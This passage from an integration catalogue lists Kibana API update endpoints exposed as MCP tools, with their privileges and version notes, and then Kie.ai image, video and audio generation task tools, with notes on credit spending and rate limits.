/api/v1/kibana/s/{spaceId}/api/observability/slos/_delete_instances. Scopes: api. kibana_put_api_actions_connector_by_id (write) — Update a connector. Kibana PUT /api/actions/connector/{id}. PUT /api/v1/kibana/api/actions/connector/{id}. Scopes: api. kibana_put_api_agent_builder_agents_by_id (write) — Update an existing agent configuration. Use this endpoint to modify any aspect of the agent's behavior, appearance, or capabilities. To learn more about agents, refer to the [agents documentation](https://www.elastic.co/docs/explore-analyze/ai-features/agent-builder/agent-builder-agents). [Added in 9.2.0] Kibana PUT /api/agent_builder/agents/{id}. PUT /api/v1/kibana/api/agent_builder/agents/{id}. Scopes: api. kibana_put_api_agent_builder_agents_by_id_access_control (write) — Replace the per-agent access-control entries. The agent owner, cluster admins, and anyone access control grants Manager can call this endpoint. Each call replaces the entire entries list — the most recent successful update wins. [Added in 9.5.0] Kibana PUT /api/agent_builder/agents/{id}/access_control. PUT /api/v1/kibana/api/agent_builder/agents/{id}/access_control. Scopes: api. kibana_put_api_agent_builder_conversations_by_conversation_id_attachments_by_attachment_id (write) — Update an attachment content. Creates a new version if content changed. [Required authorization] Route required privileges: agentBuilder:read. [Experimental; added in 9.2.0] Kibana PUT /api/agent_builder/conversations/{conversation_id}/attachments/{attachment_id}. PUT /api/v1/kibana/api/agent_builder/conversations/{conversation_id}/attachments/{attachment_id}. Scopes: api. kibana_put_api_agent_builder_conversations_by_conversation_id_attachments_by_attachment_id_origin (write) — Update the origin reference for an attachment. Use this after saving a by-value attachment to link it to its persistent store. [Required authorization] Route required privileges: agentBuilder:read. [Experimental; added in 9.4.0] Kibana PUT /api/agent_builder/conversations/{conversation_id}/attachments/{attachment_id}/origin. PUT /api/v1/kibana/api/agent_builder/conversations/{conversation_id}/attachments/{attachment_id}/origin. Scopes: api. kibana_put_api_agent_builder_skills_by_skillid (write) — Update an existing user-created skill. To learn more about Agent Builder skills, refer to the [skills documentation](https://www.elastic.co/docs/explore-analyze/ai-features/agent-builder/skills). [Required authorization] Route required privileges: agentBuilder:manageSkills. [Experimental; added in 9.4.0] Kibana PUT /api/agent_builder/skills/{skillId}. PUT /api/v1/kibana/api/agent_builder/skills/{skillId}. Scopes: api. kibana_put_api_agent_builder_tools_by_toolid (write) — Update an existing tool. Use this endpoint to modify any aspect of the tool's configuration or metadata. To learn more about Agent Builder tools, refer to the [tools documentation](https://www.elastic.co/docs/explore-analyze/ai-features/agent-builder/tools). [Added in 9.2.0] Kibana PUT /api/agent_builder/tools/{toolId}. PUT /api/v1/kibana/api/agent_builder/tools/{toolId}. Scopes: api. kibana_put_api_alerting_rule_by_id (write) — Update a rule. Kibana PUT /api/alerting/rule/{id}. PUT /api/v1/kibana/api/alerting/rule/{id}. Scopes: api. kibana_put_api_apm_settings_agent_configuration (write) — Create or update an agent configuration. You must have `all` privileges for the APM and User Experience feature in Kibana. When updating an existing configuration, the `?overwrite=true` query parameter is required. If the configuration already exists and `overwrite` is not set to `true`, the API returns a 400 error. Kibana PUT /api/apm/settings/agent-configuration. PUT /api/v1/kibana/api/apm/settings/agent-configuration. Scopes: api. kibana_put_api_attack_discovery_schedules_by_id (write) — Updates an existing Attack Discovery schedule with new configuration. All schedule properties can be modified including name, parameters, interval, and actions. The update operation replaces the entire schedule configuration with the provided values. Kibana PUT /api/attack_discovery/schedules/{id}. PUT /api/v1/kibana/api/attack_discovery/schedules/{id}. Scopes: api. kibana_put_api_cases_templates_by_template_id (write) — Fully replaces a case template. Every accepted update creates a new template version; previous versions stay retrievable with the `version` query parameter of the get template API, and cases keep the version they were created with. [Technical preview] Kibana PUT /api/cases/templates/{template_id}. PUT /api/v1/kibana/api/cases/templates/{template_id}. Scopes: api. kibana_put_api_dashboards_by_id (write) — > This documentation is temporarily hosted at a separate location. > > **[View the full Dashboards API reference →](https://elastic.github.io/dashboards-api-spec/dashboards#tag/Dashboards)**. Kibana PUT /api/dashboards/{id}. PUT /api/v1/kibana/api/dashboards/{id}. Scopes: api. kibana_put_api_data_views_data_view_by_viewid_runtime_field (write) — Create or update a runtime field for a data view. If the runtime field already exists, it is replaced with the new definition. Kibana PUT /api/data_views/data_view/{viewId}/runtime_field. PUT /api/v1/kibana/api/data_views/data_view/{viewId}/runtime_field. Scopes: api. kibana_put_api_detection_engine_rules (write) — Update a detection rule using the `rule_id` or `id` field. The original rule is replaced, and all unspecified fields are deleted. Kibana PUT /api/detection_engine/rules. PUT /api/v1/kibana/api/detection_engine/rules. Scopes: api. kibana_put_api_detection_engine_rules_prepackaged (write) — Install and update all Elastic prebuilt detection rules and Timelines. This endpoint allows you to install and update prebuilt detection rules and Timelines provided by Elastic. When you call this endpoint, it will: - Install any new prebuilt detection rules that are not currently installed in your system. Kibana PUT /api/detection_engine/rules/prepackaged. PUT /api/v1/kibana/api/detection_engine/rules/prepackaged. Scopes: api. kibana_put_api_endpoint_list_items (write) — Update an Elastic Endpoint exception list item, specified by the `id` or `item_id` field. Kibana PUT /api/endpoint_list/items. PUT /api/v1/kibana/api/endpoint_list/items. Scopes: api. kibana_put_api_entity_analytics_monitoring_users_by_id (write) — **Deprecated in 9.4.0.** Use the Watchlists API instead. Updates the details of an existing monitored privileged user by their document ID. Kibana PUT /api/entity_analytics/monitoring/users/{id}. PUT /api/v1/kibana/api/entity_analytics/monitoring/users/{id}. Scopes: api. kibana_put_api_entity_analytics_watchlists_by_id (write) — Updates the name, description, risk modifier, or managed status of an existing entity analytics watchlist. [Technical Preview] Kibana PUT /api/entity_analytics/watchlists/{id}. PUT /api/v1/kibana/api/entity_analytics/watchlists/{id}. Scopes: api. kibana_put_api_exception_lists (write) — Update an exception list using the `id` or `list_id` field. Kibana PUT /api/exception_lists. PUT /api/v1/kibana/api/exception_lists. Scopes: api. kibana_put_api_exception_lists_items (write) — Update an exception list item using the `id` or `item_id` field. Kibana PUT /api/exception_lists/items. PUT /api/v1/kibana/api/exception_lists/items. Scopes: api. kibana_put_api_fleet_agent_download_sources_by_sourceid (write) — Update an agent binary download source by ID. [Required authorization] Route required privileges: fleet-settings-all. Kibana PUT /api/fleet/agent_download_sources/{sourceId}. PUT /api/v1/kibana/api/fleet/agent_download_sources/{sourceId}. Scopes: api. kibana_put_api_fleet_agent_policies_by_agentpolicyid (write) — Update an agent policy by ID. [Required authorization] Route required privileges: fleet-agent-policies-all. Kibana PUT /api/fleet/agent_policies/{agentPolicyId}. PUT /api/v1/kibana/api/fleet/agent_policies/{agentPolicyId}. Scopes: api. kibana_put_api_fleet_agentless_policies_by_policyid (write) — Deprecated. Use `PUT /api/fleet/managed_integrations/{policyId}` instead. Update a managed integration by ID. [Experimental; added in 9.5.0] Kibana PUT /api/fleet/agentless_policies/{policyId}. PUT /api/v1/kibana/api/fleet/agentless_policies/{policyId}. Scopes: api. kibana_put_api_fleet_agents_by_agentid (write) — Update an agent by ID. [Required authorization] Route required privileges: fleet-agents-all. Kibana PUT /api/fleet/agents/{agentId}. PUT /api/v1/kibana/api/fleet/agents/{agentId}. Scopes: api. kibana_put_api_fleet_cloud_connectors_by_cloudconnectorid (write) — Update a cloud connector by ID. [Required authorization] Route required privileges: fleet-agent-policies-all OR integrations-all. [Experimental; added in 9.2.0] Kibana PUT /api/fleet/cloud_connectors/{cloudConnectorId}. PUT /api/v1/kibana/api/fleet/cloud_connectors/{cloudConnectorId}. Scopes: api. kibana_put_api_fleet_epm_custom_integrations_by_pkgname (write) — Update the datasets of an existing custom integration package. [Required authorization] Route required privileges: fleet-settings-all AND integrations-all. Kibana PUT /api/fleet/epm/custom_integrations/{pkgName}. PUT /api/v1/kibana/api/fleet/epm/custom_integrations/{pkgName}. Scopes: api. kibana_put_api_fleet_epm_packages_by_pkgname (write) — Update settings for a package, such as whether policies are kept up to date automatically. [Required authorization] Route required privileges: integrations-all AND fleet-agent-policies-all. Kibana PUT /api/fleet/epm/packages/{pkgName}. PUT /api/v1/kibana/api/fleet/epm/packages/{pkgName}. Scopes: api. kibana_put_api_fleet_epm_packages_by_pkgname_by_pkgversion (write) — Update settings for a specific version of a package. [Required authorization] Route required privileges: integrations-all AND fleet-agent-policies-all. Kibana PUT /api/fleet/epm/packages/{pkgName}/{pkgVersion}. PUT /api/v1/kibana/api/fleet/epm/packages/{pkgName}/{pkgVersion}. Scopes: api. kibana_put_api_fleet_fleet_server_hosts_by_itemid (write) — Update a Fleet Server host by ID. [Required authorization] Route required privileges: fleet-settings-all. Kibana PUT /api/fleet/fleet_server_hosts/{itemId}. PUT /api/v1/kibana/api/fleet/fleet_server_hosts/{itemId}. Scopes: api. kibana_put_api_fleet_managed_integrations_by_policyid (write) — Update a managed integration by ID. Uses full-replace semantics: the policy is rebuilt entirely from the request body, so any omitted optional field (for example, `description`, `vars`, `global_data_tags`, `cloud_connector`) is cleared or reset to its default. [Experimental; added in 9.5.0] Kibana PUT /api/fleet/managed_integrations/{policyId}. PUT /api/v1/kibana/api/fleet/managed_integrations/{policyId}. Scopes: api. kibana_put_api_fleet_outputs_by_outputid (write) — Update output by ID. [Required authorization] Route required privileges: fleet-settings-all. Kibana PUT /api/fleet/outputs/{outputId}. PUT /api/v1/kibana/api/fleet/outputs/{outputId}. Scopes: api. kibana_put_api_fleet_package_policies_by_packagepolicyid (write) — Update a package policy by ID. Kibana PUT /api/fleet/package_policies/{packagePolicyId}. PUT /api/v1/kibana/api/fleet/package_policies/{packagePolicyId}. Scopes: api. kibana_put_api_fleet_proxies_by_itemid (write) — Update a proxy by ID. [Required authorization] Route required privileges: fleet-settings-all. Kibana PUT /api/fleet/proxies/{itemId}. PUT /api/v1/kibana/api/fleet/proxies/{itemId}. Scopes: api. kibana_put_api_fleet_settings (write) — Update the global Fleet settings. [Required authorization] Route required privileges: fleet-settings-all. Kibana PUT /api/fleet/settings. PUT /api/v1/kibana/api/fleet/settings. Scopes: api. kibana_put_api_fleet_space_settings (write) — Create or update Fleet settings for the current Kibana space. [Required authorization] Route required privileges: fleet-settings-all. [Generally available; added in 9.1.0] Kibana PUT /api/fleet/space_settings. PUT /api/v1/kibana/api/fleet/space_settings. Scopes: api. kibana_put_api_lists (write) — Update a value list using the list `id`. The original list is replaced, and all unspecified fields are deleted. > info > You cannot modify the `id` value. Kibana PUT /api/lists. PUT /api/v1/kibana/api/lists. Scopes: api. kibana_put_api_lists_items (write) — Update a value list item using the list item ID. The original list item is replaced, and all unspecified fields are deleted. > info > You cannot modify the `id` value. Kibana PUT /api/lists/items. PUT /api/v1/kibana/api/lists/items. Scopes: api. kibana_put_api_logstash_pipeline_by_id (write) — Create a centrally-managed Logstash pipeline or update a pipeline. To use this API, you must have either the `logstash_admin` built-in role or a customized Logstash writer role. [Technical Preview] Kibana PUT /api/logstash/pipeline/{id}. PUT /api/v1/kibana/api/logstash/pipeline/{id}. Scopes: api. kibana_put_api_osquery_packs_by_id (write) — Update a query pack using the pack ID. > info > You cannot update a prebuilt pack. Kibana PUT /api/osquery/packs/{id}. PUT /api/v1/kibana/api/osquery/packs/{id}. Scopes: api. kibana_put_api_osquery_saved_queries_by_id (write) — Update a saved query using the query ID. > info > You cannot update a prebuilt saved query. Kibana PUT /api/osquery/saved_queries/{id}. PUT /api/v1/kibana/api/osquery/saved_queries/{id}. Scopes: api. kibana_put_api_saved_objects_bulk_update (write) — WARNING: This API is deprecated. This is a legacy Saved Objects API and may be removed in a future version of Kibana. Updates multiple Kibana saved objects in a single request. Kibana PUT /api/saved_objects/_bulk_update. PUT /api/v1/kibana/api/saved_objects/_bulk_update. Scopes: api. kibana_put_api_saved_objects_by_type_by_id (write) — WARNING: This API is deprecated. This is a legacy Saved Objects API and may be removed in a future version of Kibana. Updates a single Kibana saved object by type and ID. Kibana PUT /api/saved_objects/{type}/{id}. PUT /api/v1/kibana/api/saved_objects/{type}/{id}. Scopes: api. kibana_put_api_security_ai_assistant_current_user_conversations_by_id (write) — Update an existing conversation using the conversation ID. This endpoint allows users to modify the details of an existing conversation. Kibana PUT /api/security_ai_assistant/current_user/conversations/{id}. PUT /api/v1/kibana/api/security_ai_assistant/current_user/conversations/{id}. Scopes: api. kibana_put_api_security_ai_assistant_knowledge_base_entries_by_id (write) — Update an existing Knowledge Base Entry by its unique `id`. Kibana PUT /api/security_ai_assistant/knowledge_base/entries/{id}. PUT /api/v1/kibana/api/security_ai_assistant/knowledge_base/entries/{id}. Scopes: api. kibana_put_api_security_entity_store (write) — Update the Entity Store log extraction configuration. [Required authorization] Route required privileges: securitySolution. Kibana PUT /api/security/entity_store. PUT /api/v1/kibana/api/security/entity_store. Scopes: api. kibana_put_api_security_entity_store_entities_bulk (write) — Update multiple entity records in the Entity Store in a single request. [Required authorization] Route required privileges: securitySolution. Kibana PUT /api/security/entity_store/entities/bulk. PUT /api/v1/kibana/api/security/entity_store/entities/bulk. Scopes: api. kibana_put_api_security_entity_store_entities_by_entitytype (write) — Update an existing entity record in the Entity Store. By default only certain fields can be updated. Set the `force` query parameter to `true` to update protected fields. [Required authorization] Route required privileges: securitySolution. Kibana PUT /api/security/entity_store/entities/{entityType}. PUT /api/v1/kibana/api/security/entity_store/entities/{entityType}. Scopes: api. kibana_put_api_security_entity_store_resolution_rules_by_id_disable (write) — Disable a managed entity resolution rule in this space. [Required authorization] Route required privileges: securitySolution AND securitySolution-entity-analytics. [Generally available; added in 9.5.0] Kibana PUT /api/security/entity_store/resolution/rules/{id}/disable. PUT /api/v1/kibana/api/security/entity_store/resolution/rules/{id}/disable. Scopes: api. kibana_put_api_security_entity_store_resolution_rules_by_id_enable (write) — Enable a managed entity resolution rule in this space. [Required authorization] Route required privileges: securitySolution AND securitySolution-entity-analytics. [Generally available; added in 9.5.0] Kibana PUT /api/security/entity_store/resolution/rules/{id}/enable. PUT /api/v1/kibana/api/security/entity_store/resolution/rules/{id}/enable. Scopes: api. kibana_put_api_security_entity_store_start (write) — Start previously stopped entity engines, resuming data processing for the specified entity types. [Required authorization] Route required privileges: securitySolution. Kibana PUT /api/security/entity_store/start. PUT /api/v1/kibana/api/security/entity_store/start. Scopes: api. kibana_put_api_security_entity_store_stop (write) — Stop running entity engines, pausing data processing for the specified entity types. [Required authorization] Route required privileges: securitySolution. Kibana PUT /api/security/entity_store/stop. PUT /api/v1/kibana/api/security/entity_store/stop. Scopes: api. kibana_put_api_security_role_by_name (write) — Create a new Kibana role or update the attributes of an existing role. Kibana roles are stored in the Elasticsearch native realm. Kibana PUT /api/security/role/{name}. PUT /api/v1/kibana/api/security/role/{name}. Scopes: api. kibana_put_api_spaces_space_by_id (write) — Update an existing Kibana space. Kibana PUT /api/spaces/space/{id}. PUT /api/v1/kibana/api/spaces/space/{id}. Scopes: api. kibana_put_api_streams_by_name (write) — Creates or updates a stream definition. Classic streams can not be created through this API, only updated [Required authorization] Route required privileges: manage_stream. [Experimental; added in 9.1.0] Kibana PUT /api/streams/{name}. PUT /api/v1/kibana/api/streams/{name}. Scopes: api. kibana_put_api_streams_by_name_ingest (write) — Upserts the ingest settings of an ingest stream definition [Required authorization] Route required privileges: manage_stream. [Experimental; added in 9.1.0] Kibana PUT /api/streams/{name}/_ingest. PUT /api/v1/kibana/api/streams/{name}/_ingest. Scopes: api. kibana_put_api_streams_by_name_queries_by_queryid (write) — Adds a query to a stream. Noop if the query is already present on the stream. [Required authorization] Route required privileges: manage_stream. [Experimental; added in 9.1.0] Kibana PUT /api/streams/{name}/queries/{queryId}. PUT /api/v1/kibana/api/streams/{name}/queries/{queryId}. Scopes: api. kibana_put_api_streams_by_name_query (write) — Upserts the query settings of a query stream definition [Required authorization] Route required privileges: manage_stream. [Experimental; added in 9.4.0] Kibana PUT /api/streams/{name}/_query. PUT /api/v1/kibana/api/streams/{name}/_query. Scopes: api. kibana_put_api_streams_by_streamname_attachments_by_attachmenttype_by_attachmentid (write) — Links an attachment to a stream. Noop if the attachment is already linked to the stream. [Required authorization] Route required privileges: manage_stream. [Experimental; added in 9.3.0] Kibana PUT /api/streams/{streamName}/attachments/{attachmentType}/{attachmentId}. PUT /api/v1/kibana/api/streams/{streamName}/attachments/{attachmentType}/{attachmentId}. Scopes: api. kibana_put_api_synthetics_monitors_by_id (write) — Update a monitor with the specified attributes. The required and default fields may vary based on the monitor type. You must have `all` privileges for the Synthetics feature in the Observability section of the Kibana feature privileges. You can also partially update a monitor. Kibana PUT /api/synthetics/monitors/{id}. PUT /api/v1/kibana/api/synthetics/monitors/{id}. Scopes: api. kibana_put_api_synthetics_params_by_id (write) — Update a parameter in the Synthetics app. You must have `all` privileges for the Synthetics feature in the Observability section of the Kibana feature privileges. Kibana PUT /api/synthetics/params/{id}. PUT /api/v1/kibana/api/synthetics/params/{id}. Scopes: api. kibana_put_api_synthetics_private_locations_by_id (write) — Update an existing private location's label. You must have `all` privileges for the Synthetics and Uptime feature in the Observability section of the Kibana feature privileges. When a private location's label is updated, all monitors using this location will also be updated to maintain data consistency. Kibana PUT /api/synthetics/private_locations/{id}. PUT /api/v1/kibana/api/synthetics/private_locations/{id}. Scopes: api. kibana_put_api_tags_by_id (write) — Updates a tag if it exists, or creates it at the provided ID. [Experimental; added in 9.5.0] Kibana PUT /api/tags/{id}. PUT /api/v1/kibana/api/tags/{id}. Scopes: api. kibana_put_api_uptime_settings (write) — Update uptime setting attributes like `heartbeatIndices`, `certExpirationThreshold`, `certAgeThreshold`, `defaultConnectors`, or `defaultEmail`. You must have `all` privileges for the uptime feature in the Observability section of the Kibana feature privileges. Kibana PUT /api/uptime/settings. PUT /api/v1/kibana/api/uptime/settings. Scopes: api. kibana_put_api_visualizations_by_id (write) — > This documentation is temporarily hosted at a separate location. > > **[View the full Visualizations API reference →](https://elastic.github.io/dashboards-api-spec/visualizations#tag/Visualizations)**. Kibana PUT /api/visualizations/{id}. PUT /api/v1/kibana/api/visualizations/{id}. Scopes: api. kibana_put_api_workflows_managed_workflow_by_id (write) — Partially update an existing managed workflow. This elevated route can update fields beyond the enabled state. [Required authorization] Route required privileges: workflowsManagement:update AND workflowsManagement:managed:update. [Generally available; added in 9.5.0] Kibana PUT /api/workflows/managed/workflow/{id}. PUT /api/v1/kibana/api/workflows/managed/workflow/{id}. Scopes: api. kibana_put_api_workflows_workflow_by_id (write) — Partially update an existing workflow. You can update individual fields such as name, description, enabled state, tags, or the YAML definition without providing all fields. [Required authorization] Route required privileges: workflowsManagement:update. [Generally available; added in 9.4.0] Kibana PUT /api/workflows/workflow/{id}. PUT /api/v1/kibana/api/workflows/workflow/{id}. Scopes: api. kibana_put_s_by_spaceid_api_observability_slos_by_sloid (write) — You must have the `write` privileges for the **SLOs** feature in the **Observability** section of the Kibana feature privileges. Kibana PUT /s/{spaceId}/api/observability/slos/{sloId}. PUT /api/v1/kibana/s/{spaceId}/api/observability/slos/{sloId}. Scopes: api. ================================================================================ ## Kie.ai URL: https://www.agenticfabriq.com/integrations/kieai Section: Integrated Tools Kie.ai — 52 MCP tools Provider key: kieai. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. kieai_create_bytedance_task (write) — Start a ByteDance Seedance video generation task on Kie.ai. ByteDance Seedance 1.5/2/2.5 and Seedance V1 Lite/Pro text- and image-to-video models. Set body.model to one of the 10 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/bytedance. Scopes: api. kieai_create_elevenlabs_task (write) — Start a ElevenLabs audio generation task on Kie.ai. ElevenLabs text-to-speech, text-to-dialogue and audio isolation. Set body.model to one of the 4 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/elevenlabs. Scopes: api. kieai_create_flux_task (write) — Start a Flux image generation task on Kie.ai. Black Forest Labs Flux Kontext and Flux-2 text-to-image and image editing. Set body.model to one of the 5 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/flux. Scopes: api. kieai_create_google_task (write) — Start a Google image, speech and Omni generation task on Kie.ai. Google Nano Banana and Imagen 4 images, Gemini text-to-speech, and the Gemini Omni video/flash models. Set body.model to one of the 12 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/google. Scopes: api. kieai_create_gpt_image_task (write) — Start a GPT Image generation task on Kie.ai. OpenAI 4o Image and GPT Image 1.5, 2 and 2.5 text-to-image and image-to-image. Set body.model to one of the 9 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/gpt_image. Scopes: api. kieai_create_grok_imagine_task (write) — Start a Grok Imagine generation task on Kie.ai. xAI Grok Imagine images, image edits and segmentation, video generation, extension and upscaling. Set body.model to one of the 11 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/grok_imagine. Scopes: api. kieai_create_hailuo_task (write) — Start a Hailuo video generation task on Kie.ai. MiniMax Hailuo 02 and 2.3 text- and image-to-video. Set body.model to one of the 6 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/hailuo. Scopes: api. kieai_create_happyhorse_task (write) — Start a HappyHorse video generation task on Kie.ai. HappyHorse and HappyHorse 1.1 text-, image- and reference-to-video and video editing. Set body.model to one of the 7 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/happyhorse. Scopes: api. kieai_create_ideogram_task (write) — Start a Ideogram image generation task on Kie.ai. Ideogram V3 text-to-image, edit and remix, and Ideogram Character generation, edit and remix. Set body.model to one of the 6 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/ideogram. Scopes: api. kieai_create_infinitalk_task (write) — Start a InfiniteTalk lip sync generation task on Kie.ai. MeiGen InfiniteTalk talking video from an image and audio. Set body.model to one of the 1 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/infinitalk. Scopes: api. kieai_create_kling_task (write) — Start a Kling video generation task on Kie.ai. Kling 2.1/2.5/2.6/3.0 and 3.0 Omni text- and image-to-video, motion control and AI avatars. Set body.model to one of the 19 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/kling. Scopes: api. kieai_create_minimax_h3_task (write) — Start a MiniMax H3 video generation task on Kie.ai. MiniMax H3 text-, image- and reference-to-video. Set body.model to one of the 3 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/minimax_h3. Scopes: api. kieai_create_omnihuman_task (write) — Start a OmniHuman avatar video generation task on Kie.ai. OmniHuman 1.5 audio-driven avatar video, with human identification and subject detection. Set body.model to one of the 3 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/omnihuman. Scopes: api. kieai_create_pixverse_task (write) — Start a PixVerse video generation task on Kie.ai. PixVerse V6 text-, image- and reference-to-video, first/last-frame transitions and extension. Set body.model to one of the 5 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/pixverse. Scopes: api. kieai_create_qwen_task (write) — Start a Qwen image generation task on Kie.ai. Qwen, Qwen2 and Qwen3 (and Qwen3 Pro) text-to-image, image-to-image and image editing. Set body.model to one of the 9 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/qwen. Scopes: api. kieai_create_recraft_task (write) — Start a Recraft image tools generation task on Kie.ai. Recraft crisp upscale and background removal. Set body.model to one of the 2 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/recraft. Scopes: api. kieai_create_runway_task (write) — Start a Runway video generation task on Kie.ai. Runway AI video generation and extension, and Gen-4 Aleph video. Set body.model to one of the 3 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/runway. Scopes: api. kieai_create_seedream_task (write) — Start a Seedream image generation task on Kie.ai. ByteDance Seedream 3.0, 4.0, 4.5 and 5.0 Lite/Pro text-to-image, editing and layer decomposition. Set body.model to one of the 10 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/seedream. Scopes: api. kieai_create_suno_task (write) — Start a Suno music generation task on Kie.ai. Suno music generation, extension, covers, mashups, stems, lyrics, WAV/MIDI/video conversion, personas and custom voices. Set body.model to one of the 21 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/suno. Scopes: api. kieai_create_topaz_task (write) — Start a Topaz upscale generation task on Kie.ai. Topaz image and video upscaling. Set body.model to one of the 2 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/topaz. Scopes: api. kieai_create_veo_task (write) — Start a Google Veo video generation task on Kie.ai. Google Veo 3.1 video generation and extension, and 1080p/4K retrieval of a Veo result. Set body.model to one of the 4 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's kie.ai/pricing rate, and Kie.ai accepts at most 20 new tasks per 10 seconds per account. POST /api/v1/kieai/api/v1/jobs/createTask/veo. Scopes: api. kieai_create_volcengine_task (write) — Start a Volcengine lip sync generation task on Kie.ai. Volcengine video-to-video lip sync. Set body.model to one of the 1 models listed in the schema and body.input to that model's parameters. Returns data.taskId at once; poll kieai_get_api_v1_jobs_recordinfo (or pass body.callBackUrl) for the result. SPENDS CREDITS at the model's 